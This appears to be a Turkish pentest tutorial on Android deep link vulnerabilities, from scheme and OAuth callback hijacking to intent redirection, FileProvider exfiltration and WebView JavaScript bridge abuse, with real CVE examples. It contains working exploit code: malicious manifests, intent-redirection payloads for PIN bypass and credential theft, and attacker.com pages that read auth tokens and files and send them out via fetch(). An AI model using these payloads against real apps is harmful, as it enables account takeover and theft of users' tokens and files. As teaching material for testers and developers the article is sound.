Android Deep Link Zafiyet Teknikleri
Yazar: Alperen Keskin
Android uygulamalarında URI scheme hijacking, open redirect, intent redirection ve WebView JS bridge teknikleri
Android uygulamalarında deep link'ler, pentest sırasında en sık gözden kaçırdığım saldırı yüzeylerinden biri. Manifest'i açtığında android:exported="true" olan Activity'lerin sayısına bakınca ne demek istediğim netleşiyor; her biri dış input kabul eden bir giriş noktası. Bu yazıda deep link mekanizmasını, blackbox pentest'te nasıl keşfedileceğini ve her zafiyeti nasıl istismar edebileceğini ele alıyoruz.
Deep Link Mekanizması
Android'de uygulama hangi URL'leri karşılayacağını AndroidManifest.xml içindeki intent-filter bloğuyla bildirir. Kullanıcı o URL'ye tıkladığında sistem Intent'i oluşturup uygulamayı açar; URL Intent.data üzerinden gelir.
İki tür var:
<!-- Custom URI Scheme — sahiplik doğrulaması yok -->
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="open"/>
</intent-filter>
<!-- Android App Link — HTTPS + domain doğrulamalı -->
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="app.ornek.com"/>
</intent-filter>
android:autoVerify="true" kurulum sırasında https://app.ornek.com/.well-known/assetlinks.json dosyasını kontrol eder; paket adı ve SHA-256 parmak izi eşleşmezse link uygulamaya yönlendirilmez. Custom URI scheme'de bu doğrulama yok: myapp:// şemasını manifest'ine ekleyen her uygulama bu URL'leri karşılayabilir.
Saldırı Teknikleri
1. URI Scheme Hijacking

Nedir?
Custom URI scheme Android'de tescil gerektirmez. İki uygulama aynı şemayı bildirirse Android bir seçim ekranı gösterir ya da kullanıcının önceden seçtiği varsayılan uygulamaya yönlendirir. Scheme üzerinden taşınan token veya kod hangisi seçilirse ona gider.
Nasıl Oluşur?
Tehlikeli pattern şu: android:autoVerify yok, token direkt intent.data'dan alınıyor:
<activity android:name=".AuthCallbackActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="auth-callback"/>
</intent-filter>
</activity>
val token = intent.data?.getQueryParameter("token")
loginWithToken(token)
Saldırı Akışı:
Web / OAuth sunucu → myapp://auth-callback?token=XXXX
│
Android Intent Resolver
(custom scheme tescilsiz)
┌────────┴────────┐
▼ ▼
┌──────────────┐ ┌─────────────────┐
│ Hedef App │ │ Zararlı App │
│ (açılmaz) │ │ token = XXXX │
└──────────────┘ └─────────────────┘
Nasıl Tespit Edilir?
# APK yolunu öğren (Android 5+ randomize path kullanır)
adb shell pm path com.target.app
# Çıktı: package:/data/app/~~RANDOMHASH~~/com.target.app-1/base.apk
adb pull <çıkan_yol> base.apk
apktool d base.apk -o decoded/
# Tüm custom scheme'leri listele
grep -A 15 "android.intent.action.VIEW" decoded/AndroidManifest.xml | grep "scheme"
# HTTPS olmayan + autoVerify olmayan intent-filter'ları ara
grep -B 5 "android:scheme" decoded/AndroidManifest.xml | grep -v "https"
BROWSABLE kategorisi var ve android:autoVerify="true" yok → hijack adayı.
run app.package.attacksurface com.target.app
run app.activity.info -a com.target.app
Nasıl İstismar Edilir?
Zararlı uygulamaya aynı şemayı ekle:
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="auth-callback"/>
</intent-filter>
Android, ACTION_VIEW + BROWSABLE intent-filter'larında android:priority değerini sistem düzeyinde sıfırlar; öncelik kazanmak bu yolla mümkün değil. Aynı şemayı bildiren iki uygulama varsa Android bir seçim diyaloğu gösterir ya da kullanıcının önceden seçtiği varsayılan uygulamaya yönlendirir.
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val token = intent.data?.getQueryParameter("token")
// Token saldırgana iletilir, hedef uygulama hiç açılmaz
}
ADB ile test:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://auth-callback?token=eyJhbGciOiJIUzI1NiJ9.test"
Hangi uygulamanın yakaladığını izle:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://auth-callback?token=test"
adb logcat | grep "ActivityManager.*START"
Çıktı:
Starting: Intent { act=android.intent.action.VIEW dat=myapp://auth-callback?token=test }
Status: ok
Activity: com.malicious.intercept/.CallbackActivity
ThisTime: 287
TotalTime: 287
WaitTime: 312
Complete
11-01 09:14:32.201 1324 1543 I ActivityManager: START u0 {act=android.intent.action.VIEW dat=myapp://auth-callback?token=test cmp=com.malicious.intercept/.CallbackActivity} from uid 2000
Sonuç: Magic link veya session token taşıyan custom URI scheme callback'leri, aynı şemayı kaydettiren zararlı bir uygulama tarafından ele geçirilebilir.
2. OAuth Callback Hijacking
Nedir?
Native OAuth akışında authorization server, kullanıcı onayından sonra code'u uygulamaya custom URI scheme üzerinden gönderir. Bu scheme başka bir uygulama tarafından yakalanabiliyorsa code ele geçirilir.
Nasıl Oluşur?
redirect_uri olarak custom scheme tanımlanmış, PKCE yok veya sunucu enforce etmiyor:
https://accounts.google.com/o/oauth2/auth
?client_id=CLIENT_ID
&redirect_uri=com.target.app:/oauth2redirect
&response_type=code
&scope=email
Yetkilendirme sonrası:
com.target.app:/oauth2redirect?code=SplxlOBeZQQYbYS6WxSbIA
Saldırı Akışı:
Uygulama → /authorize?redirect_uri=com.target.app:/oauth2redirect
│
Kullanıcı OAuth iznini verir
│
▼
com.target.app:/oauth2redirect?code=SplxlO...
│
Android Intent Resolver
┌─────────┴──────────┐
▼ ▼
┌──────────────┐ ┌──────────────────┐
│ Hedef App │ │ Zararlı App │
│ (boş geldi) │ │ code=SplxlO... │
└──────────────┘ │ POST /token │
│ → access_token │
└──────────────────┘
PKCE uygulanmamışsa yakalanan code direkt token exchange için kullanılabilir. PKCE var ama sunucu enforce etmiyorsa yine çalışır.
Nasıl Tespit Edilir?
grep -i "oauth\|callback\|redirect\|auth" decoded/AndroidManifest.xml
grep "com.googleusercontent.apps" decoded/AndroidManifest.xml
Proxy'den akışı izlerken şunlara bak:
/authorizeisteğindecode_challengeparametresi var mı? (PKCE kontrolü)/tokenisteğindecode_verifiervar mı?redirect_uritam eşleşme mi, prefix validation mı?
adb shell am start -W -a android.intent.action.VIEW \
-d "com.target.app:/oauth2redirect?code=test_code&state=test"
adb logcat | grep "ActivityManager.*START"
Çıktı:
Starting: Intent { act=android.intent.action.VIEW dat=com.target.app:/oauth2redirect?code=test_code&state=test }
Status: ok
Activity: com.malicious.intercept/.OAuthCallbackActivity
ThisTime: 301
TotalTime: 301
WaitTime: 334
Complete
11-01 10:02:17.513 1324 1543 I ActivityManager: START u0 {act=android.intent.action.VIEW dat=com.target.app:/oauth2redirect?code=test_code cmp=com.malicious.intercept/.OAuthCallbackActivity} from uid 2000
Nasıl İstismar Edilir?
<!-- Zararlı manifest -->
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="com.target.app" android:host="oauth2redirect"/>
</intent-filter>
val code = intent.data?.getQueryParameter("code")
// PKCE yoksa token exchange:
// POST /token
// grant_type=authorization_code
// &code=<code>
// &redirect_uri=com.target.app:/oauth2redirect
// &client_id=TARGET_CLIENT_ID
Sonuç: PKCE olmayan OAuth akışlarında custom URI scheme üzerinden tam hesap ele geçirme mümkündür.
3. Open Redirect — URL Validation Bypass
Nedir?
Deep link bir URL parametresi alıp bunu WebView'a loadUrl() ile iletiyor. startsWith, contains veya endsWith ile yapılan kontroller host'u değil string'in herhangi bir parçasını kontrol ettiğinden atlatılabiliyor.
Nasıl Oluşur?
val url = intent.data?.getQueryParameter("redirect") ?: return
if (url.startsWith("https://trusted.com")) webView.loadUrl(url)
if (url.contains("trusted.com")) webView.loadUrl(url)
if (url.endsWith("trusted.com/")) webView.loadUrl(url)
Saldırı Akışı:
myapp://open?redirect=https://[email protected]/phish
│
▼
DeepLinkActivity.onCreate()
url = getQueryParameter("redirect")
→ "https://[email protected]/phish"
│
▼
url.startsWith("https://trusted.com") → true ✓
│
▼
webView.loadUrl(url)
│
Tarayıcı: host = attacker.com (@ sonrası)
│
▼
Phishing sayfası yüklendi
Nasıl Tespit Edilir?
JADX'te getQueryParameter → loadUrl zincirini takip et:
jadx -d output/ target.apk
grep -r "loadUrl\|loadDataWithBaseURL" output/sources/
grep -r "startsWith\|contains\|endsWith" output/sources/ | grep -i "url\|redirect\|link"
Frida ile runtime'da izle:
Java.perform(function() {
var WebView = Java.use("android.webkit.WebView");
WebView.loadUrl.overload("java.lang.String").implementation = function(url) {
console.log("[loadUrl] " + url);
return this.loadUrl(url);
};
});
Çıktı:
[Pixel 6::com.target.app ]-> [loadUrl] https://[email protected]/phish
Nasıl İstismar Edilir?
# startsWith bypass: @ karakteri user@host ayrımı yapar
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://open?redirect=https://[email protected]/phish"
# contains bypass
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://open?redirect=https://attacker.com/?x=trusted.com"
# endsWith bypass
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://open?redirect=https://attacker.com/?to=trusted.com/"
# Subdomain gibi görünen bypass
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://open?redirect=https://trusted.com.attacker.com/"
file:// ve javascript: protokollerini de dene:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://open?redirect=file:///data/data/com.target.app/shared_prefs/creds.xml"
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://open?redirect=javascript:alert(document.cookie)"
file:// API 30+ cihazlarda setAllowFileAccess(true) gerektirir (varsayılan false). javascript: da setJavaScriptEnabled(true) olmadan geçmez. Statik analizde bu iki ayarı kontrol et.
Sonuç: startsWith / contains / endsWith kontrolleri atlatılabilir; WebView'a keyfi URL yüklenir.
4. Expired Domain Whitelist
Nedir?
Kod güvenli görünüyor: URL bir whitelist'le karşılaştırılıyor. Ama whitelist'teki domain süresi dolmuş ve başkası tarafından tescil edilmişse, kontrol geçer — sahip artık saldırgan.
Nasıl Oluşur?
val allowedHosts = listOf(
"api.partner.com",
"cdn.trusted.com",
"old-redirect-service.com" // ← süresi dolmuş, saldırgan tescil etmiş
)
val host = Uri.parse(url).host
if (host in allowedHosts) webView.loadUrl(url)
Saldırı Akışı:
myapp://open?redirect=https://old-redirect-service.com/page
│
▼
host = Uri.parse(url).host
→ "old-redirect-service.com"
│
▼
host in allowedHosts → true ✓
(domain süresi dolmuş, saldırgan tescil etti)
│
▼
webView.loadUrl(url)
│
▼
Saldırgan sayfası yüklendi
Nasıl Tespit Edilir?
Statik analiz burayı yakalayamaz; domainler canlı kontrol edilmeli:
grep -r "allowedHosts\|whitelist\|trustedDomains" output/sources/
for domain in old-redirect-service.com cdn.partner.com; do
result=$(dig +short "$domain")
[ -z "$result" ] && echo "Yanıt yok — NXDOMAIN olabilir: $domain"
done
whois old-redirect-service.com | grep -i "expir\|registrant"
Nasıl İstismar Edilir?
Domain tescil et → saldırgan sayfası sun → deep link URL'sini hedefe gönder. Whitelist kontrolü geçer, kod zafiyet içermediği hâlde saldırgan sayfası yüklenir.
Sonuç: Hardcoded domain whitelist'leri, domain sahipliğinin ömür boyu sabit olduğunu varsayar. Bu varsayım yanlıştır.
5. Intent Redirection

Nedir?
Exported bir Activity, gelen Intent içindeki başka bir Intent'i (EXTRA_NEXT_INTENT veya benzeri bir extra) doğrulamadan startActivity() ile iletiyor. Kendi kimliğiyle çalıştığından android:exported="false" korumasını atlar; normalde dışarıdan erişilemeyen Activity'lere doğrudan ulaşır.
Nasıl Oluşur?
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
if (intent.hasExtra("EXTRA_NEXT_INTENT")) {
val next = intent.getParcelableExtra<Intent>("EXTRA_NEXT_INTENT")
startActivity(next) // hedef Activity doğrulanmıyor
}
}
}
Saldırı Akışı:
Saldırgan Uygulaması
│
│ outer = Intent → MainActivity
│ .putExtra("EXTRA_NEXT_INTENT", inner)
▼
┌──────────────────────────────────┐
│ MainActivity (exported=true) │
│ next = getParcelableExtra(...) │
│ startActivity(next) │ ← doğrulama yok
└──────────────────┬───────────────┘
│ inner = Intent → PinActivity
▼
┌──────────────────────────────────┐
│ PinActivity (exported=false) │
│ PIN doğrulaması atlandı ✓ │
└──────────────────────────────────┘
Nasıl Tespit Edilir?
# Drozer ile exported Activity'leri listele
run app.package.attacksurface com.target.app
run app.activity.info -a com.target.app
# Tüm Activity'leri (exported + non-exported) gör
adb shell dumpsys package com.target.app | grep -A 2 "Activity"
Çıktı:
run app.package.attacksurface com.target.app
Attack Surface:
6 activities exported
2 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable
JADX'te şu pattern'ları ara:
grep -r "getParcelableExtra\|getSerializableExtra" output/sources/ | grep -i "intent"
grep -r "startActivity\|startActivityForResult" output/sources/
grep -r "EXTRA_NEXT_INTENT\|extra_intent\|inner_intent\|redirect_intent" output/sources/
Exported Activity getParcelableExtra<Intent>() alıp startActivity() çağırıyorsa → zafiyet var.
Nasıl İstismar Edilir?
PIN bypass:
val inner = Intent()
inner.setClassName("com.hedef.app", "com.hedef.app.features.pin.PinActivity")
inner.putExtra("mavericks:arg", PinArgs(PinMode.MODIFY))
val outer = Intent()
outer.setClassName("com.hedef.app", "com.hedef.app.MainActivity")
outer.putExtra("EXTRA_NEXT_INTENT", inner)
startActivity(outer)
// Non-exported PinActivity açılır, mevcut PIN doğrulaması atlanır
Çıktı (logcat):
11-01 11:23:44.102 8901 8901 I ActivityManager: START u0 {cmp=com.hedef.app/.MainActivity (has extras)} from uid 10234
11-01 11:23:44.312 8901 8901 I ActivityManager: START u0 {cmp=com.hedef.app/.features.pin.PinActivity} from uid 10142
Credential theft (sahte sunucu):
val inner = Intent()
inner.setClassName("com.hedef.app", "com.hedef.app.features.login.LoginActivity")
inner.putExtra("EXTRA_CONFIG", LoginConfig(
homeServerUrl = "https://attacker.com/fake-server"
))
val outer = Intent()
outer.setClassName("com.hedef.app", "com.hedef.app.MainActivity")
outer.putExtra("EXTRA_NEXT_INTENT", inner)
startActivity(outer)
// Kullanıcı sahte login ekranına şifresini girer
Sonuç: android:exported="false" koruması, exported bir Activity'nin proxy olarak kullanılmasıyla işlevsiz kalır; PIN bypass'tan hesap ele geçirmeye kadar zincir kurulabilir.
6. Content Provider File Exfiltration
Nedir?
Exported bir Activity, gelen Intent'in içindeki URI'yı ve FLAG_GRANT_READ_URI_PERMISSION'ı doğrulamadan başka bir Activity'ye iletirse uygulamanın private dosya dizini açılır. FileProvider path scope'u genişse (path=".") /files/ altındaki her dosyaya erişim mümkün.
Nasıl Oluşur?
Manifest'teki FileProvider tanımı:
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="com.hedef.app.fileprovider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths"/>
</provider>
<!-- file_paths.xml — tüm /files/ dizini açık -->
<files-path name="files" path="."/>
Exported IncomingShareActivity, Intent.EXTRA_STREAM ile gelen URI'ı doğrulamıyor:
val fileUri = intent.getParcelableExtra<Uri>(Intent.EXTRA_STREAM)
uploadToRoom(fileUri, intent.getStringExtra(Intent.EXTRA_SHORTCUT_ID))
Saldırı Akışı:
Saldırgan Uygulaması
│ outer → MainActivity
│ inner → IncomingShareActivity
│ EXTRA_STREAM = content://...fileprovider/files/auth-tokens.realm
│ FLAG_GRANT_READ_URI_PERMISSION
▼
┌───────────────────────────────────────┐
│ MainActivity (exported=true) │
│ startActivity(inner) │
└──────────────────┬────────────────────┘
▼
┌───────────────────────────────────────┐
│ IncomingShareActivity │
│ fileUri = EXTRA_STREAM │
│ uploadToRoom(fileUri, roomId) │ ← URI doğrulaması yok
└──────────────────┬────────────────────┘
▼
┌───────────────────────────────────────┐
│ FileProvider (path="." tüm /files/) │
│ auth-tokens.realm okundu │
└──────────────────┬────────────────────┘
▼
Saldırgan Matrix odasına
auth-tokens.realm iletildi ✓
Nasıl Tespit Edilir?
run app.provider.info -a com.target.app
run app.provider.finduri com.target.app
grep -r "grantUriPermissions" decoded/AndroidManifest.xml
# FileProvider her zaman android:exported="false"'dur; Drozer ile doğrudan sorgu çalışmaz
# Statik analizle file_paths.xml scope'unu kontrol et
grep -r "file_paths\|files-path\|external-path" decoded/res/
JADX'te Intent.EXTRA_STREAM alan Activity'lerde URI doğrulaması var mı kontrol et.
Nasıl İstismar Edilir?
val inner = Intent(Intent.ACTION_SEND)
inner.setClassName("com.hedef.app", "com.hedef.app.features.share.IncomingShareActivity")
inner.putExtra(
Intent.EXTRA_STREAM,
Uri.parse("content://com.hedef.app.fileprovider/files/auth-tokens.realm")
)
inner.putExtra(Intent.EXTRA_SHORTCUT_ID, "!saldirganOdaId:matrix.org")
inner.addFlags(
Intent.FLAG_GRANT_READ_URI_PERMISSION or
Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
)
inner.type = "application/octet-stream"
val outer = Intent()
outer.setClassName("com.hedef.app", "com.hedef.app.MainActivity")
outer.putExtra("EXTRA_NEXT_INTENT", inner)
startActivity(outer)
// auth-tokens.realm kullanıcı onayı olmaksızın saldırgana gönderilir
Çıktı (logcat):
11-01 11:47:22.091 9012 9012 I ActivityManager: START u0 {act=android.intent.action.SEND typ=application/octet-stream cmp=com.hedef.app/.features.share.IncomingShareActivity} from uid 10234
11-01 11:47:22.573 9012 9012 D UploadService: Uploading file: content://com.hedef.app.fileprovider/files/auth-tokens.realm to room !saldirganOdaId:matrix.org
Sonuç: android:grantUriPermissions="true" ve geniş FileProvider scope birleştiğinde intent yönlendirme, private dosyaların dışarıya sızdırılmasına yol açar.
7. intent:// URL via WebView
Nedir?
WebView içinde intent:// şemalı URL'ler Intent.parseUri() ile işlenip startActivity() çağrılıyorsa, saldırgan uygulamanın exported=false Activity'lerine bir web sayfasındaki link üzerinden ulaşabilir.
Nasıl Oluşur?
override fun shouldOverrideUrlLoading(view: WebView, url: String): Boolean {
if (url.startsWith("intent://")) {
val intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME)
startActivity(intent) // component ve selector temizlenmiyor
return true
}
return false
}
intent:// URL anatomisi:
intent://HOST#Intent;
scheme=myapp;
component=com.hedef.app/.InternalActivity;
action=android.intent.action.VIEW;
end
component= alanı belirtildiğinde exported=false kontrolü aşılır.
Saldırı Akışı:
myapp://browser?url=intent://internal%23Intent%3Bcomponent%3D...
│
▼
WebViewActivity → webView.loadUrl(url)
│ (ya da Open Redirect ile attacker.com → intent:// link)
▼
attacker.com/exploit.html:
location.href = "intent://open#Intent;
component=com.hedef.app/.InternalActivity;end"
│
▼
shouldOverrideUrlLoading()
intent = Intent.parseUri(url, URI_INTENT_SCHEME)
← component temizlenmedi
│
▼
┌──────────────────────────────────────┐
│ InternalActivity (exported=false) │
│ Erişim sağlandı ✓ │
└──────────────────────────────────────┘
Nasıl Tespit Edilir?
grep -r "URI_INTENT_SCHEME\|URI_ALLOW_UNSAFE\|parseUri" output/sources/
grep -r "shouldOverrideUrlLoading" output/sources/
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://browser?url=intent://internal%23Intent%3Bcomponent%3Dcom.hedef.app%2F.InternalActivity%3Bend"
Çıktı:
Starting: Intent { act=android.intent.action.VIEW dat=myapp://browser?url=intent://... }
Status: ok
Activity: com.hedef.app/.InternalActivity
ThisTime: 389
TotalTime: 389
WaitTime: 421
Complete
Frida ile shouldOverrideUrlLoading hook:
Java.perform(function() {
var WebViewClient = Java.use("android.webkit.WebViewClient");
WebViewClient.shouldOverrideUrlLoading.overload(
"android.webkit.WebView", "java.lang.String"
).implementation = function(view, url) {
console.log("[shouldOverrideUrlLoading] " + url);
return this.shouldOverrideUrlLoading(view, url);
};
});
Çıktı:
[Pixel 6::com.target.app ]-> [shouldOverrideUrlLoading] intent://open#Intent;scheme=myapp;component=com.hedef.app/.InternalActivity;end
intent:// URL'i geçirilince hedef Activity açılıyorsa zafiyet var.
Nasıl İstismar Edilir?
Open Redirect + intent:// zinciri: Önce WebView keyfi URL yüklüyor, o sayfada intent:// link var:
<!-- attacker.com/exploit.html -->
<a href="intent://open#Intent;scheme=myapp;component=com.hedef.app/.PinActivity;end">
Tıkla
</a>
<script>
location.href = "intent://open#Intent;scheme=myapp;" +
"component=com.hedef.app/.InternalActivity;" +
"end";
</script>
Chrome intent:// URL'lerinde component alanını siler. Custom WebView implementasyonlarının büyük çoğunluğu silmez; component ve selector temizlenmeden kullanım tehlikelidir.
Sonuç: intent:// URL desteği olan WebView'larda component ve selector temizlenmezse, saldırgan web sayfasından internal Activity'lere erişim sağlayabilir.
8. JavaScript Bridge — addJavascriptInterface

Nedir?
WebView.addJavascriptInterface(Object, String) çağrısıyla bir Java nesnesi WebView'a kayıt edilir. Sayfadaki tüm JavaScript — iframe dahil — bu nesnenin @JavascriptInterface metodlarını window.NAME.method() ile çağırabilir. Deep link WebView'u keyfi URL ile açıyorsa, saldırgan kontrolündeki sayfa native metodlara doğrudan ulaşır.
Nasıl Oluşur?
webView.settings.javaScriptEnabled = true
webView.addJavascriptInterface(AppBridge(this), "AndroidBridge")
val url = intent.data?.getQueryParameter("url") ?: return
webView.loadUrl(url) // URL doğrulanmıyor
class AppBridge(val ctx: Context) {
private val prefs = ctx.getSharedPreferences("app_prefs", Context.MODE_PRIVATE)
@JavascriptInterface
fun getAuthToken(): String = prefs.getString("auth_token", "") ?: ""
@JavascriptInterface
fun readFile(path: String): String = File(path).readText()
}
Saldırı Akışı:
myapp://browser?url=https://attacker.com/steal.html
│
▼
webView.loadUrl("https://attacker.com/steal.html")
(javaScriptEnabled = true)
│
▼
steal.html yüklendi:
window.AndroidBridge.getAuthToken()
→ AppBridge.getAuthToken()
→ SharedPreferences["auth_token"]
│
▼
fetch("https://attacker.com/log?t=eyJ...")
│
▼
Token saldırgana iletildi ✓
Nasıl Tespit Edilir?
grep -r "addJavascriptInterface" output/sources/
grep -r "@JavascriptInterface" output/sources/
# MobSF otomatik raporunda "Insecure WebView Implementation" başlığını ara
Frida ile bridge adını ve metodlarını keşfet:
Java.perform(function() {
var WebView = Java.use("android.webkit.WebView");
WebView.addJavascriptInterface.overload(
"java.lang.Object", "java.lang.String"
).implementation = function(obj, name) {
console.log("[Bridge] Name: " + name + " | Class: " + obj.$className);
return this.addJavascriptInterface(obj, name);
};
});
Çıktı:
[Pixel 6::com.target.app ]-> [Bridge] Name: AndroidBridge | Class: com.target.app.AppBridge
Bridge adı biliniyorsa Chrome DevTools veya inject edilmiş script ile metodları listele:
const methods = Object.getOwnPropertyNames(window.AndroidBridge)
.filter(k => typeof window.AndroidBridge[k] === "function");
console.log(methods);
Nasıl İstismar Edilir?
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://browser?url=https://attacker.com/steal.html"
Token çalma:
<!-- attacker.com/steal.html -->
<script>
const token = window.AndroidBridge.getAuthToken();
fetch("https://attacker.com/log?t=" + encodeURIComponent(token));
</script>
Dosya okuma:
const data = window.AndroidBridge.readFile(
"/data/data/com.target.app/shared_prefs/credentials.xml"
);
fetch("https://attacker.com/log?d=" + btoa(data));
Çıktı (logcat):
11-01 09:41:17.883 4521 4732 D OkHttp : --> GET https://attacker.com/log?t=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDU2IiwiZW1haWwiOiJ2aWN0aW1AZXhhbXBsZS5jb20iLCJleHAiOjE3NjIwMDAwMDB9.Rj8qZ2L5aX HTTP/1.1
11-01 09:41:17.891 4521 4732 D OkHttp : <-- 200 OK https://attacker.com/log (8ms)
addJavascriptInterface sadece ana sayfa için değil; içindeki her iframe da aynı bridge metodlarına ulaşabilir.
Sonuç: URL doğrulama eksikliği + JavaScript etkinleştirme + açık bridge metodu aynı anda bulunduğunda saldırgan, uygulama yetkisiyle oturum token'larına ve local dosyalara erişir.
Gerçek Dünya Örnekleri
CVE-2026-26123 — Microsoft Authenticator
Klasik "kendi ürettiği URL'yi dinlemiyor" vakası. Authenticator QR kurulum akışında ms-msa:// şemalı link üretiyor ama manifest'inde bu şemayı karşılayan tek bir intent-filter yok. Cihaza yüklü herhangi bir uygulama şemayı kayıt ettirip kurulum token'ını alabilir — Outlook, OneDrive, Teams, Office: hepsi gider. [1]
EngageLab SDK — 50 Milyon Kurulum
Senin kodun temiz, SDK'nın değil. EngageLab'ın MTCommonActivity'si exported="true" — gelen Intent'teki n_intent_uri alanını URI_ALLOW_UNSAFE ile parse edip FLAG_GRANT_PERSISTABLE_URI_PERMISSION ile startActivity() yapıyor. SDK'yı kullanan kripto cüzdanı uygulamalarında bu yolla private key dizinine erişim açık. 30M+ kripto cüzdanı, toplamda 50M+ kurulum etkileniyor. [2]
CVE-2024-26131 / CVE-2024-26132 — Element Android
İki CVE, tek intent redirection zafiyeti. MainActivity → EXTRA_NEXT_INTENT → doğrulamadan startActivity(). Buradan iki yol açılıyor: PinActivity'ye gidip PIN doğrulamasını atla, ya da LoginActivity'ye sahte Matrix sunucusu adresi ver, şifreyi kendi sunucuna düşür. İkinci CVE'de IncomingShareActivity + MultiPickerFileProvider kombinasyonuyla matrix-sdk-auth.realm dahil tüm /files/ dizini dışarı çıkıyor — kullanıcı etkileşimi sıfır. [3]
CVE-2022-28799 — TikTok Android
Deep link doğrulaması crafted URL ile geçiliyor, WebView devreye giriyor, bridge token'ı dışarı veriyor. CVSS 8.8. [4]
Sonuç
Deep link saldırıları genellikle zincir hâlinde ortaya çıkar: URI scheme hijacking ile başlayan saldırı intent redirection ile devam edip JavaScript bridge üzerinden token ve dosya sızdırmaya uzanabilir. Pentest'te ilk bakacağın yer manifest — android:exported="true" olan her bileşen ve BROWSABLE kategorisindeki her intent-filter dış input kabul ediyor. SDK entegrasyonlarını da aynı şekilde incele: EngageLab örneğinde görüldüğü gibi zafiyet senin değil, kullandığın SDK'nın kodunda olabilir.
Kaynaklar
- CVE-2026-26123 — Microsoft Authenticator Unclaimed Deep Link: https://infosecwriteups.com/microsoft-authenticators-unclaimed-deep-link-a-full-account-takeover-story-cve-2026-26123-e0409a920a02
- Microsoft Security Blog — EngageLab SDK Intent Redirection (Nisan 2026): https://www.microsoft.com/en-us/security/blog/2026/04/09/intent-redirection-vulnerability-third-party-sdk-android/
- Shielder — Element Android CVE-2024-26131, CVE-2024-26132: https://www.shielder.com/blog/2024/04/element-android-cve-2024-26131-cve-2024-26132-never-take-intents-from-strangers/
- NVD — CVE-2022-28799 TikTok Android: https://nvd.nist.gov/vuln/detail/CVE-2022-28799
- Oversecured — Android Deep Link Vulnerabilities: https://oversecured.com/blog/android-deep-link-vulnerabilities
- Oversecured — Android Access to App Protected Components: https://oversecured.com/blog/android-access-to-app-protected-components
- OWASP MASTG-TEST-0028 — Testing Deep Links: https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0028/
- OWASP MASTG-TEST-0033 — Testing WebView JavaScript Interface: https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0033/
- Android Developers — Insecure WebView Native Bridges: https://developer.android.com/privacy-and-security/risks/insecure-webview-native-bridges
- Sentry Security — Android Deeplink Hijacking: https://blog.sentry.security/deep-hijacking/
- Stingrai — Full Account Takeover via Deeplinks: https://www.stingrai.io/blog/full-account-takeover-deeplinks